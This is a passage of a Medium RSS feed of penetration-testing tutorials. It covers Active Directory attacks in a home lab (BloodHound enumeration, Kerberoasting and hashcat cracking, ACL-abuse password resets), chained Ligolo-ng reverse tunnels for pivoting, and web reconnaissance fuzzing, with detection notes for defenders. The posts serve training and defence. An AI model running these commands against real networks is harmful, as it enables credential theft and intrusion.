&#39;Summer2026!&#39; --shares<br>nxc ldap 192.168.56.10 -u jsmith -p &#39;Summer2026!&#39; --users</pre><p><strong>LDAP directly, if you want to see the raw directory without a wrapper tool:</strong></p><pre>ldapsearch -x -H ldap://192.168.56.10 -D &quot;jsmith@lab.local&quot; -w &#39;Summer2026!&#39; \<br> -b &quot;DC=lab,DC=local&quot; &quot;(objectClass=user)&quot; sAMAccountName</pre><p>This is slower to read than BloodHound, but it’s worth doing manually at least once so you understand what BloodHound is actually querying under the hood. This is LDAP, SPNs, and Windows API calls, wrapped in a UI that makes relationships visible.</p><h3>BloodHound and SharpHound</h3><p>BloodHound turns an AD domain into a graph: users, groups, computers, sessions and permissions as nodes, with every relationship between them as an edge. SharpHound is the collector that walks the domain and feeds BloodHound that graph. Once you’ve done manual enumeration once (above), this is where you actually spend most of your time on a real AD assessment.</p><p><strong>Run the collector — </strong>From a domain-joined context (or using /d and credentials from an external box with line of sight to the DC), the &quot;All&quot; collection method is the one I reach for first on a lab, since it gathers everything BloodHound can use:</p><pre>.\SharpHound.exe -c All --domain lab.local --zipfilename lab_collection</pre><p>From Linux, against a domain you’re not joined to, bloodhound-python does the same job without needing a Windows foothold at all:</p><pre>bloodhound-python -u jsmith -p &#39;Summer2026!&#39; -d lab.local -ns 192.168.56.10 -c All</pre><p>Both produce a set of JSON files (or a single zip) describing users, groups, computers, GPOs, OUs, domains, trusts and sessions.</p><p><strong>Stand up BloodHound CE</strong> (the current, actively developed version) with Docker, which is by far the least painful way to run it:</p><pre>curl -L https://ghst.ly/getbhce -o docker-compose.yml<br>docker compose up</pre><p>It prints a randomly generated admin password on first run. Log in at http://localhost:8080, upload the zip from SharpHound, and the graph populates.</p><p><strong>What to actually look for once it’s loaded — </strong>Don’t just stare at the graph, run the built-in queries with purpose:</p><ul><li><strong>Shortest Paths to Domain Admins</strong> is the single most useful pre-built query in the tool. It shows you every route, however convoluted, from any node to full domain compromise.</li><li><strong>Find Principals with DCSync Rights</strong> surfaces accounts that can replicate domain data, which is functionally equivalent to having the NTDS.dit hashes.</li><li><strong>Find Computers where Domain Users can RDP</strong> tells you where a low-privilege account can get an interactive session, often the easiest way to escalate from “a password” to “a shell”.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YbivwnDdkZS0T41S-Sdj1w.png" /></figure><p>On my own lab’s graph, this is exactly how the jsmith → agarcia GenericAll edge I planted earlier shows up: a single line from one user node to another, with the edge itself labelled, telling you precisely what to do next without any guesswork. That&#39;s the entire value proposition of the tool: it turns &quot;where should I even look&quot; into &quot;here is the exact next step&quot;.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nj_us7oi9ngugBnOX4-mNg.png" /></figure><h3>PowerView</h3><p>BloodHound shows you the graph. PowerView is how you dig into one specific node or edge by hand, confirm what BloodHound told you, or find something a collection run missed because it was run before a permission changed. It’s a PowerShell module, so it runs from a Windows context, either on a compromised host or through a remote PowerShell session.</p><p><strong>Load it</strong> (from the PowerSploit or PowerSploit-derived repos most people use):</p><pre>Import-Module .\PowerView.ps1</pre><p><strong>The cmdlets I actually use, in the order I tend to reach for them:</strong></p><pre># Who exists, and basic attributes<br>Get-DomainUser -Identity jsmith -Properties samaccountname,memberof<br><br># Group membership, both directions<br>Get-DomainGroupMember -Identity &quot;Domain Admins&quot;<br>Get-DomainGroup -Identity jsmith -MemberOf<br><br># Computers in the domain, and which ones have unconstrained delegation<br>Get-DomainComputer -Properties dnshostname,operatingsystem<br>Get-DomainComputer -Unconstrained<br><br># Trust relationships, important once there&#39;s more than one domain/forest<br>Get-DomainTrust<br><br># The ACL check that matters most: who has rights over a given object<br>Get-DomainObjectAcl -Identity agarcia -ResolveGUIDs | Where-Object { $_.ActiveDirectoryRights -match &quot;GenericAll|GenericWrite|WriteDacl|WriteOwner&quot; }<br><br># Active sessions on a host, useful for finding where a privileged user is logged in<br>Get-NetSession -ComputerName srv01.lab.local</pre><p>That Get-DomainObjectAcl command is the manual version of what BloodHound draws as a red edge. Run against agarcia on my lab, it returns the GenericAll ACE granted to jsmith that I set up deliberately earlier, with the exact rights, the trustee, and the object it applies to. Seeing it this way, as a raw access control entry, is what makes the BloodHound graph actually click: the edge isn&#39;t inferred or guessed, it&#39;s reading the literal permission Windows stores on the object.</p><p><strong>One habit worth building now.</strong> Cross-check PowerView’s output against BloodHound’s graph on your own lab, on purpose, at least once. If they disagree, it’s almost always because BloodHound’s collection is stale (a permission changed after the last SharpHound run) rather than either tool being wrong. That’s a useful thing to know before you’re relying on either of them under exam or engagement pressure.</p><h3>Kerberoasting</h3><p><strong>The theory, briefly — </strong>Any domain account with a Service Principal Name (SPN) set, almost always a service account, can have its Kerberos service ticket requested by <em>any</em> authenticated domain user, no special privileges needed. That ticket is encrypted with a hash derived from the service account’s password. Since any domain user can request it, any domain user can take that ticket offline and try to crack it, completely unmonitored by anything the domain controller does, because requesting a service ticket is completely normal Kerberos behaviour. The attack isn’t exploiting a bug, it’s exploiting the fact that service accounts are set up once and then forgotten, often with passwords nobody’s rotated in years.</p><p><strong>Find Kerberoastable accounts.</strong> With PowerView:</p><pre>Get-DomainUser -SPN -Properties samaccountname,serviceprincipalname</pre><p>Or with Rubeus, which is the tool I actually use for the full roast-and-format workflow:</p><pre>.\Rubeus.exe kerberoast /outfile:hashes.txt</pre><p>From Linux, with any valid domain credential and no Windows foothold at all, GetUserSPNs.py from Impacket does the same job:</p><pre>impacket-GetUserSPNs lab.local/jsmith:&#39;Summer2026!&#39; -dc-ip 192.168.56.10 -request</pre><p>Against the svc_sql account I set up with a weak password earlier, this returns a ticket in Hashcat&#39;s $krb5tgs$23$ format, something like:</p><pre>$krb5tgs$23$*svc_sql$LAB.LOCAL$MSSQLSvc/srv01.lab.local:1433*$a1b2c3...</pre><p><strong>Crack it offline — </strong>This is the step where the service account’s password strength is the only thing standing between “any domain user” and “a service account’s plaintext password”:</p><pre>hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt</pre><p>Mode 13100 is specifically Kerberos 5 TGS-REP etype 23. If svc_sql&#39;s password is anything in a common wordlist (and on my lab, deliberately, it is), hashcat recovers it in seconds. In a real environment, service account passwords are frequently old, long-unrotated, and set once by someone who prioritised &quot;it works&quot; over &quot;it&#39;s strong&quot;, which is exactly why Kerberoasting remains effective years after it was first documented.</p><p>What the account’s privileges actually give you depends entirely on what you set it up to do. A service account tied to a SQL Server instance might get you sysadmin on that database, which, through xp_cmdshell, is often a direct path to code execution on the host. One tied to a web application might just get you that application&#39;s own privileges. The account itself isn&#39;t usually the goal, it&#39;s a credential that opens the next door.</p><h3>ACL abuse and attack paths</h3><p>This is, in my experience, the single most underrated skill in AD attacks. Everyone learns Kerberoasting early because it’s a famous named attack. Far fewer people get genuinely comfortable reading and abusing raw Access Control Lists, even though misconfigured ACLs are what actually chains small footholds into full domain compromise on most real engagements, including the exam report I wrote about separately: a chain of AllExtendedRights, GenericWrite and group-ownership abuse carried an account all the way to domain admin without a single exploit in the traditional sense.</p><p><strong>The rights that matter, and what each one actually lets you do:</strong></p><ul><li><strong>GenericAll</strong> — full control. Reset the password, add to groups, modify any attribute.</li><li><strong>GenericWrite</strong> — write any attribute. On a user, this can mean setting a Service Principal Name on an account that didn’t have one, making it Kerberoastable on demand, a technique called <strong>targeted Kerberoasting</strong>.</li><li><strong>WriteOwner</strong> — take ownership of the object, then grant yourself whatever rights you want from there.</li><li><strong>WriteDacl</strong> — modify the object’s permissions directly, which means granting yourself GenericAll without ever touching ownership.</li><li><strong>AllExtendedRights</strong> — covers special rights like User-Force-Change-Password (reset a password without knowing the old one) and DS-Replication-Get-Changes (the right that makes DCSync possible).</li><li><strong>AddMember</strong> (specifically on a group) — add any account, including your own, directly into that group.</li></ul><p><strong>Exploiting GenericAll/GenericWrite on a user: force a password reset.</strong></p><pre>$newPass = ConvertTo-SecureString &quot;NewPassw0rd123!&quot; -AsPlainText -Force<br>Set-DomainUserPassword -Identity agarcia -AccountPassword $newPass</pre><p>On my lab, running this as jsmith (who holds GenericAll over agarcia from the misconfiguration I planted earlier) succeeds without ever needing to know agarcia&#39;s existing password. That&#39;s the entire attack: one PowerView cmdlet, one domain account compromised.</p><p><strong>Exploiting GenericWrite via targeted Kerberoasting — </strong>If you have GenericWrite but the target isn’t already Kerberoastable, make it so:</p><pre>Set-DomainObject -Identity someuser -Set @{serviceprincipalname=&#39;nonexistent/BLAH&#39;}</pre><p>Then Kerberoast it normally (previous section), crack the ticket, and remove the SPN afterward to leave the environment as you found it.</p><p><strong>Exploiting group membership (AddMember) — </strong>If you can add yourself to a group, and that group has useful rights elsewhere in the domain:</p><pre>Add-DomainGroupMember -Identity &quot;IT_SUPPORT&quot; -Members jsmith</pre><p>This is exactly the shape of the real attack chain in one of my engagements; compromise one account, discover it has GenericWrite over a group, add a controlled account to that group, and inherit whatever rights the group carries. One hop rarely gets you to domain admin, chaining several does.</p><p><strong>Reading the chain, not just the individual edge — </strong>The actual skill isn’t memorising which right does what, it’s looking at a BloodHound graph (or a stack of PowerView output) and recognising a chain: user A has GenericAll over user B, user B is a member of group C, group C has GenericWrite over group D, and group D is a member of Domain Admins. Each individual link looks harmless. The chain is domain compromise. This is exactly why I build my own lab with multiple small, individually-unremarkable misconfigurations rather than one obvious one: real environments accumulate exactly this kind of chain by accident, one small delegation decision at a time, over years.</p><h3>Putting it together: one end-to-end path</h3><p>Stringing every section above into a single run against the lab I built, starting from nothing but network access:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*j1GXYJGhalvLs2OxjMLRow.png" /><figcaption>Four small steps chain to domain admin</figcaption></figure><p><strong>Enumerate</strong> the DC’s open ports, confirm it’s a domain controller, attempt unauthenticated SMB/LDAP null-session enumeration (locked down in my lab, as it should be in any real one).</p><ol><li><strong>Get a first credential — </strong>In a real engagement this is usually password spraying, phishing, or an entirely separate web vulnerability chain. On the lab, assume jsmith&#39;s password is already known.</li><li><strong>Run SharpHound</strong>, load the graph into BloodHound CE, and run Shortest Paths to Domain Admins. It shows the jsmith → agarcia GenericAll edge immediately.</li><li><strong>Abuse the GenericAll edge</strong>: Set-DomainUserPassword -Identity agarcia, no existing password required.</li><li><strong>Re-check the graph as </strong><strong>agarcia.</strong> This account has GenericWrite over the IT_SUPPORT group, and IT_SUPPORT is (deliberately, in my setup) nested inside a group with elevated rights.</li><li><strong>Add </strong><strong>agarcia to </strong><strong>IT_SUPPORT</strong>, then enumerate what that group&#39;s membership actually grants, following the chain exactly as far as BloodHound&#39;s graph says it goes.</li></ol><p>Notice that Kerberoasting isn’t even in this particular chain, the ACL path was faster. That’s deliberate, and it’s the whole point of building a lab with several independent misconfigurations rather than one. On a real assessment you don’t know in advance which technique will be the one that works, so the skill is enumerating broadly enough to see every option, not committing early to the one you’re most comfortable with.</p><h3>What this looks like from the defender’s side</h3><p>Building the lab is also the easiest way to understand detection, because you can watch your own attacks in the Windows Event Log as you run them.</p><ul><li><strong>Kerberoasting</strong> generates Event ID <strong>4769</strong> (a Kerberos service ticket request) with encryption type <strong>0x17</strong> (RC4), which is unusual on a well-configured modern domain where AES should be the default. A spike of 4769 events for many different SPNs from one account in a short window is the classic signature.</li><li><strong>ACL changes</strong> (adding an ACE, changing group membership) show up as Event ID <strong>4738</strong> (user account changed) or <strong>4728/4732</strong> (member added to a security-enabled group). These are noisy in a large domain, but in a small one, an unexpected entry stands out immediately.</li><li><strong>SharpHound/BloodHound collection itself</strong> is detectable: it generates an unusually large volume of LDAP queries and, with certain collection methods, session enumeration (Event ID <strong>4624</strong> logon events with a specific pattern) across many hosts in a short time, which is exactly what Microsoft Defender for Identity and similar tools are built to flag.</li></ul><p>Running both sides in your own lab, breaking it as the attacker and then checking the Event Viewer as the defender, is what actually cements the material. It’s one thing to read that Kerberoasting is detectable; it’s another to watch Event ID 4769 light up the second you run the command yourself.</p><h3>Mistakes I’d tell you to avoid</h3><ul><li><strong>Building a lab with only one misconfiguration — </strong>A single obvious vulnerability teaches you that one technique. A handful of small, individually-boring misconfigurations teaches you to enumerate broadly and chain, which is the actual skill real engagements and the CPTS exam test.</li><li><strong>Jumping straight to BloodHound without ever reading raw ACLs or LDAP output by hand — </strong>BloodHound is excellent, but if you don’t understand what it’s querying underneath, you can’t sanity-check it when its graph looks wrong, or when collection data goes stale.</li><li><strong>Forgetting to revert deliberate misconfigurations when re-testing — </strong>If you leave old SPNs, group memberships and ACL changes in place across lab sessions, you stop being able to tell which finding came from which change.</li><li><strong>Treating Kerberoasting and ACL abuse as separate skills instead of one enumeration habit — </strong>The real work is the same at every step: enumerate, read the permissions you’re given, follow the edge, repeat.</li></ul><p>An AD lab you’ve built and deliberately broken yourself teaches you something a pre-built lab can’t: why these misconfigurations exist, because you’re the one who created them. That understanding is what separates running a tool from actually knowing what it found.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9546b65830c7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[LIGOLO-NG · LAB BUILD GUIDE]]></title>
            <link>https://medium.com/@oluwalanagodwin9/ligolo-ng-lab-build-guide-c6bc2e09705d?source=rss-19cd3ed1c65d------2</link>
            <guid isPermaLink="false">https://medium.com/p/c6bc2e09705d</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[networking]]></category>
            <dc:creator><![CDATA[RAVENØX]]></dc:creator>
            <pubDate>Sat, 14 Nov 2026 15:12:12 GMT</pubDate>
            <atom:updated>2026-11-14T15:12:12.218Z</atom:updated>
            <content:encoded><![CDATA[<h3>Building a Multi-Level Network Pivoting Setup with Ligolo-ng</h3><p>Real engagements rarely hand you a flat network. You land on one box, and the thing you actually want is two or three hops deeper, behind a second router that has never heard of your attacking machine. <a href="https://github.com/nicocha30/ligolo-ng">Ligolo-ng</a> solves this without Metasploit’s autoroute or a SOCKS proxy chain — it builds a userland tun interface on your attack box and tunnels traffic to it over a single reverse TLS connection from an agent dropped on the compromised host.</p><p>Everything below was run for real. I built the lab in three Linux network namespaces joined by veth pairs — kali, pivot1, and app01 — wired exactly like the diagram in the next section, downloaded the actual Ligolo-ng v0.8.3 proxy and agent binaries, and drove the whole chain: tun creation, the first reverse callback, routing, a chained second agent through a listener on the first pivot, a deliberate wrong-port failure, and finally curling two internal-only services through two separate tunnels. Every screenshot is a real terminal capture from that run.</p><h3>1. Understanding the Network Topology</h3><p>Three segments, two pivots, one attacker box with zero native route to the deepest one:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*dJBsMYzA88XTZO7XYQEzNQ.png" /></figure><p>Kali can talk to pivot1 directly. Nothing on Kali can reach 10.10.10.0/24 or 172.16.5.0/24 without help — those segments only exist from pivot1&#39;s and app01&#39;s point of view. That is the whole problem this lab solves.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*oXDha5EdyAJk8AzsXneazw.png" /></figure><p>2. Setting Up Ligolo-ng</p><p>Grab the matching proxy and agent binaries for your platform from the <a href="https://github.com/nicocha30/ligolo-ng/releases">releases page</a> — I used v0.8.3:</p><pre>wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.3/ligolo-ng_proxy_0.8.3_linux_amd64.tar.gz<br>wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.3/ligolo-ng_agent_0.8.3_linux_amd64.tar.gz</pre><p>On Kali, create the tun interface the proxy will bind its tunnel to. This has to exist before the proxy starts routing traffic into it:</p><pre>sudo ip tuntap add user kali mode tun ligolo<br>sudo ip link set ligolo up<br>sudo ip addr add 240.0.0.1/32 dev ligolo<br>ip -br link show ligolo</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*Tu8EoV1zawxgaZUHDq0YZA.png" /></figure><p>Notice the interface comes up NO-CARRIER — that&#39;s expected. It stays that way until a tunnel is actually attached to it later in this section.</p><p>Start the proxy, listening for agent callbacks on port 11601 with a self-signed certificate:</p><pre>sudo ./proxy -selfcert -laddr 0.0.0.0:11601</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*emvkPuFIe0D5LFqTwxiHZA.png" /></figure><p>On the compromised pivot host, run the agent and point it back at Kali:</p><pre>./agent -connect 10.10.14.9:11601 -ignore-cert</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*t96cOHcM0mHH6SOj7UkXHA.png" /></figure><p>Back on the proxy console, session lists connected agents and drops you into one. From inside a session, ifconfig prints the agent&#39;s own view of its interfaces — this is how you discover what pivot1 can actually see that Kali can&#39;t:</p><pre>session<br>ifconfig</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*07hqnLiYQNTnPD8Rn3qVXA.png" /></figure><p>pivot1 sees two networks: 10.10.14.0/24 (where Kali is) and 10.10.10.0/24 (the segment behind it, towards app01). That second network is the whole reason this pivot exists.</p><p>tunnel_start attaches the proxy&#39;s ligolo tun interface to this agent&#39;s session — from this point on, anything routed into that interface on Kali is relayed through pivot1:</p><pre>tunnel_start --tun ligolo</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*d13Kg_cKtTlUWk1ujFq3Ow.png" /></figure><h3>3. Understanding Reverse Connections</h3><p>Ligolo-ng is agent-initiated by design: the agent on the compromised host dials out to the proxy over TLS, rather than the proxy connecting in. That single outbound TCP connection on port 11601 is all that has to cross the perimeter — no inbound rule on the target, no second listener to manage, and it blends in as ordinary outbound HTTPS-looking traffic.</p><p>tunnel_start attached the interface, but Kali&#39;s kernel still doesn&#39;t know 10.10.10.0/24 lives behind it. The tun interface has no subnet of its own (240.0.0.1/32, a single host address) — you have to tell the kernel explicitly which networks to send into it:</p><pre>sudo ip route add 10.10.10.0/24 dev ligolo<br>ip route<br>ip route get 10.10.10.20</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*wTQGGqiQYn4EIFVg3aHBvA.png" /></figure><p>ip route get 10.10.10.20 confirms the kernel will actually use that route, not just that the route table has an entry — the cache line means the kernel resolved and cached a real path for that destination through ligolo.</p><h3>4. Moving Beyond the First Pivot</h3><p>One tunnel gets you onto pivot1’s network. It does not get you to app01’s deepest segment (172.16.5.0/24) — pivot1 can&#39;t see that network at all, only app01 can. To reach it, a second agent has to run on app01 and call back <em>through</em> pivot1, since app01 has no direct line to Kali.</p><p>That’s what listener_add is for: it tells the already-connected pivot1 agent to open a port on itself and forward anything that hits it back to the proxy. A second agent on app01 then connects to pivot1&#39;s IP instead of Kali&#39;s:</p><pre>listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601 --tcp<br>listener_list</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*CKaf2Za5KpUk1rKbrv6JRg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*ad2_9HEOtCNRVhIoJq-7Lw.png" /></figure><p>listener_list then shows the whole picture: which agent hosts the listener, the protocol, the address bound on the agent, where the proxy forwards to, and the state. The listener is tied to the session that created it. If that session dies, the listener disappears with it. The list is also the quickest way to confirm which agent is hosting a given port.</p><p>On app01, run the agent pointed at pivot1’s address instead of Kali’s — this is the whole trick of chaining:</p><pre>./agent -connect 10.10.10.5:11601 -ignore-cert</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*AfoRCqupPdTVfKUKFiqbug.png" /></figure><p>session now lists two agents. Note the second one&#39;s remote address — 127.0.0.1:51010 — that&#39;s the connection arriving at the proxy <em>through</em> pivot1&#39;s forwarded listener, not directly:</p><pre>session<br>ifconfig</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*K3FHhS2AAAt-fubx94J9hg.png" /></figure><p>Selecting the app01 session and running ifconfig shows exactly why this pivot matters — app01 is dual-homed onto the segment pivot1 can&#39;t reach:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*jDQSBEce1HWGNOHmbn8yUg.png" /></figure><p>Now build the second tunnel, the same three steps as the first but against app01’s session — a fresh interface, a route for the new segment, and the tunnel attached to it:</p><pre>interface_create --name ligolo2<br>route_add --name ligolo2 --route 172.16.5.0/24<br>tunnel_start --tun ligolo2</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*DB_8yTaJrtoK9Pkt4vn_Rg.png" /></figure><p>route_add here does something the first tunnel&#39;s ip route add did by hand: it pushes the route into Kali&#39;s kernel routing table automatically, as part of the proxy&#39;s own route management for that interface.</p><h3>5. Troubleshooting the Setup</h3><p>Three checks I actually run when a tunnel isn’t passing traffic:</p><pre>ss -lnt | grep 11601<br>ip route get 172.16.5.20<br>ip -s link show ligolo2 | tail -6</pre><p>ss confirms the proxy&#39;s listener is actually bound and in LISTEN state. ip route get confirms the kernel resolves the target through the tun interface rather than falling through to a default route (which usually means the route_add/ip route add step was skipped or targeted the wrong interface name). ip -s link show with zero counters on a tunnel that should be passing traffic is the single most useful sign something upstream — the agent session, the listener, or the route — isn&#39;t actually wired up:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*Y7wD-uCH6QYQB7r7CPouOQ.png" /></figure><p>The most common real mistake is connecting the agent to the wrong port. Here’s an agent on pivot1 deliberately pointed at 443, which nothing is listening on in this lab:</p><pre>./agent -connect 10.10.14.9:443 -ignore-cert</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*by415tHOOj3RzymAYbr59Q.png" /></figure><p>That connection refused plus the fatal exit is exactly what you&#39;ll see if the proxy&#39;s -laddr port and the agent&#39;s -connect port don&#39;t match, or if a firewall between them is dropping the SYN rather than rejecting it outright (which would instead just hang until the agent&#39;s connection timeout).</p><h3>6. Testing the Pivoting Setup</h3><p>With both tunnels up, Kali’s routing table should show a path to every segment, and both internal-only services should answer — one behind a single pivot, one behind two chained pivots:</p><pre>ip route<br>ip route get 10.10.10.20<br>ip route get 172.16.5.20<br>curl -s http://10.10.10.5:8081<br>curl -s http://172.16.5.20:8080</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*rXLN00ehwIKPPfzQ5A87Pw.png" /></figure><p>Both curls return real responses from services that were never reachable from Kali at the start of this lab. 10.10.10.5:8081 answers through the single ligolo tunnel to pivot1. 172.16.5.20:8080 — three network hops and two chained agents away — answers through ligolo2. That second response is the actual proof the chain works end to end, not just that the first pivot does.</p><h3>7. Lessons Learned</h3><p>A few things only became obvious by actually running the chain, not by reading about it:</p><ul><li><strong>The tun interface’s own address is irrelevant to the routes you add.</strong> ligolo only ever had 240.0.0.1/32, a single host address with no real meaning — every destination network it carries traffic for comes entirely from ip route add / route_add, not from anything bound to the interface itself.</li><li><strong>route_add and manual </strong><strong>ip route add are not interchangeable conveniences — they&#39;re two different code paths.</strong> The first tunnel needed a manual ip route add on Kali; the second tunnel&#39;s route_add pushed the route automatically through the proxy. Knowing which one a given Ligolo-ng version actually performs for you saves a confusing few minutes of &quot;why can&#39;t I reach this subnet&quot; when the interface and tunnel are both clearly up.</li><li><strong>A chained agent’s remote address in </strong><strong>session tells you whether the chain is really working.</strong> app01&#39;s agent showed up as 127.0.0.1:51010 — arriving through pivot1&#39;s forwarded listener — rather than a 10.10.10.x address. If a second agent you expect to be chained shows its real LAN address instead of a loopback address on the pivot, it connected directly and your listener isn&#39;t actually in the path.</li><li><strong>Agent session IDs are derived from the host, not the connection.</strong> Reconnecting the same agent binary from the same host while an old session is still alive gets rejected rather than creating a duplicate — worth knowing before assuming a stuck session means the proxy is broken.</li><li><strong>A tunnel that “started” cleanly can still be carrying nothing.</strong> tunnel_start returning without error only means the proxy attached the interface to the session — it says nothing about whether a route actually points traffic at it. ip -s link show with zero packet counters, next to a tunnel everyone assumes is working, is the gap between those two facts.</li></ul><h3>8. Conclusion</h3><p>Pivoting tools are easy to read about and surprisingly fiddly to actually run end to end, because almost every failure mode looks identical from Kali’s side: nothing answers. Building this in real network namespaces instead of trusting a diagram forced me to actually hit the “wrong port” case, actually watch a chained agent’s address reveal whether it’s really tunneling through the first pivot, and actually confirm with curl that two services three hops apart both answer — not just that the commands ran without error.</p><p>The pattern underneath Ligolo-ng scales past two hops: one more listener_add on the deepest agent, one more interface_create / route_add / tunnel_start on Kali, and the chain extends another segment. The commands don&#39;t get more complex — only the number of places something can be silently wrong does, which is exactly why Section 5&#39;s checks matter more than Section 2&#39;s setup steps once you&#39;re past a single pivot.</p><p><em>Thanks for engaging, see you on my next post!</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c6bc2e09705d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My Approach to Web Application and Infrastructure Enumeration]]></title>
            <link>https://medium.com/@oluwalanagodwin9/my-approach-to-web-application-and-infrastructure-enumeration-6adf765f4e0b?source=rss-19cd3ed1c65d------2</link>
            <guid isPermaLink="false">https://medium.com/p/6adf765f4e0b</guid>
            <category><![CDATA[web-enumeration]]></category>
            <category><![CDATA[web-application-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[RAVENØX]]></dc:creator>
            <pubDate>Fri, 13 Nov 2026 15:13:20 GMT</pubDate>
            <atom:updated>2026-11-13T15:13:20.445Z</atom:updated>
            <content:encoded><![CDATA[<p><em>How I approach reconnaissance and enumeration during a penetration test, the tools I use, and how I make sense of what I discover.</em></p><p>Before attempting to exploit anything, I want to understand what I’m dealing with. That means identifying what is exposed, discovering available services, mapping the attack surface, and looking for things that might otherwise go unnoticed.</p><p>I don’t approach enumeration as a checklist of commands to run. Every finding should give me a better understanding of the target and help determine where to investigate next. A discovered subdomain might reveal another application, an unusual HTTP response might point to a hidden resource, and an exposed service might provide information about the underlying infrastructure.</p><p>This post covers the general approach I take to web application and infrastructure enumeration, including subdomain discovery, virtual host identification, directory and content discovery, DNS investigation, service enumeration, and analysing HTTP responses.</p><p>The goal is to understand the target, connect the findings, identify potential weaknesses, and build a clearer picture of the attack surface before moving into exploitation.</p><p><strong>A note on tooling — </strong>I’m on Kali, so every command below assumes that environment and its default wordlists under /usr/share/seclists and /usr/share/wordlists.</p><h3>Before the first request</h3><p>Three habits pay off on every engagement, long before any scanner runs.</p><p><strong>Keep a live map, not a transcript — </strong>I keep a plain text file (or a CherryTree/Obsidian note) with running sections for hosts, credentials, hashes, open shares and in-scope domains. Every time enumeration surfaces something new, it goes in immediately. On one of my previous engagements, a config file pulled from a application surfaced several more usernames; without a running list those get lost in scrollback.</p><p><strong>Resolve names locally before you fuzz them — </strong>Internal and lab domains usually don’t resolve through public DNS, so add them to /etc/hosts as soon as you learn them:</p><pre>echo &quot;192.198.x.x example.com&quot; | sudo tee -a /etc/hosts</pre><p>I do this for every hostname I confirm is real, so the browser, curl and any tool that respects /etc/hosts can reach it by name instead of by IP and a manually-set Host header.</p><p><strong>Grab wordlists once — </strong>Kali ships SecLists at /usr/share/seclists. The ones I reach for most during web and infrastructure recon:</p><pre># Subdomain and vhost fuzzing<br>/usr/share/seclists/Discovery/DNS/n0kovo_subdomains.txt<br>/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt</pre><pre># Directory and file discovery<br>/usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt<br>/usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt<br>/usr/share/seclists/Discovery/Web-Content/common.txt</pre><p>With that in place, the actual enumeration starts.</p><h3>1. Subdomain enumeration</h3><p>Subdomains are where the interesting, less-hardened applications tend to live; staging portals, internal tools, old dev environments. In one of my engagements, a self-service staging portal (found this way) carried the SQL injection that opened the whole chain, and the subdomain list itself was handed over for free through a DNS zone transfer (more on that in the DNS section).</p><p><strong>Passive first — </strong>Before touching the target, check what’s already public. crt.sh indexes certificate transparency logs, so any subdomain that’s ever had a TLS certificate issued for it shows up:</p><pre>curl -s &quot;https://crt.sh/?q=%25.corp.local&amp;output=json&quot; | jq -r &#39;.[].name_value&#39; | sort -u</pre><p>For an internal/lab domain, crt.sh will usually come back empty, since nobody’s issuing public certificates for it. That’s fine. It’s still worth running first on any real external engagement, because it costs nothing and touches nothing.</p><p><strong>Active brute force with ffuf — </strong>When passive sources are empty, or to go further than they found, brute-force the DNS name directly:</p><pre>ffuf -w /usr/share/seclists/Discovery/DNS/n0kovo_subdomains.txt \<br> -u &quot;http://10.129.244.111&quot; \<br> -H &quot;Host: FUZZ.corp.local&quot; \<br> -fc 400,403,404</pre><p>That last flag matters: -fc 400,403,404 filters out responses that just mean “no such vhost” on this particular server. Without it, every guess that falls through to a default error page still shows up as a hit, and you drown the real results in noise. I cover filtering by response characteristics properly in the virtual host section, because subdomain brute-forcing and vhost discovery are really the same technique pointed at slightly different problems.</p><p><strong>With </strong><strong>amass or </strong><strong>subfinder</strong>, if they’re installed, for a wider passive sweep against real external targets:</p><pre>amass enum -passive -d corp.local<br>subfinder -d corp.local -silent</pre><p>These pull from dozens of passive sources (search engines, certificate logs, public datasets) in one pass. I still run ffuf afterward, because passive sources miss anything that was never indexed publicly, which is most of what matters on an internal assessment.</p><h3>2. Virtual host discovery</h3><p>Subdomain enumeration asks “what DNS names exist”. Virtual host discovery asks a related but different question: “what sites does this one web server answer for”, regardless of what DNS says. A box can host five applications behind one IP, distinguished only by the Host header in the request, and DNS might know about none of them yet. This is exactly how an internal engagement finds applications that were never meant to be reachable by name at all.</p><p>The technique is the same ffuf + Host header trick as subdomain brute-forcing, but now the target is almost always an IP address, and filtering matters even more because the server has a real default response to fall back to.</p><pre>ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \<br> -u http://10.129.244.111/ \<br> -H &quot;Host: FUZZ.corp.local&quot; \<br> -fs 12</pre><p>Here’s that command run against a disposable local target I set up for this post, so you can see exactly what useful output looks like:</p><figure><img 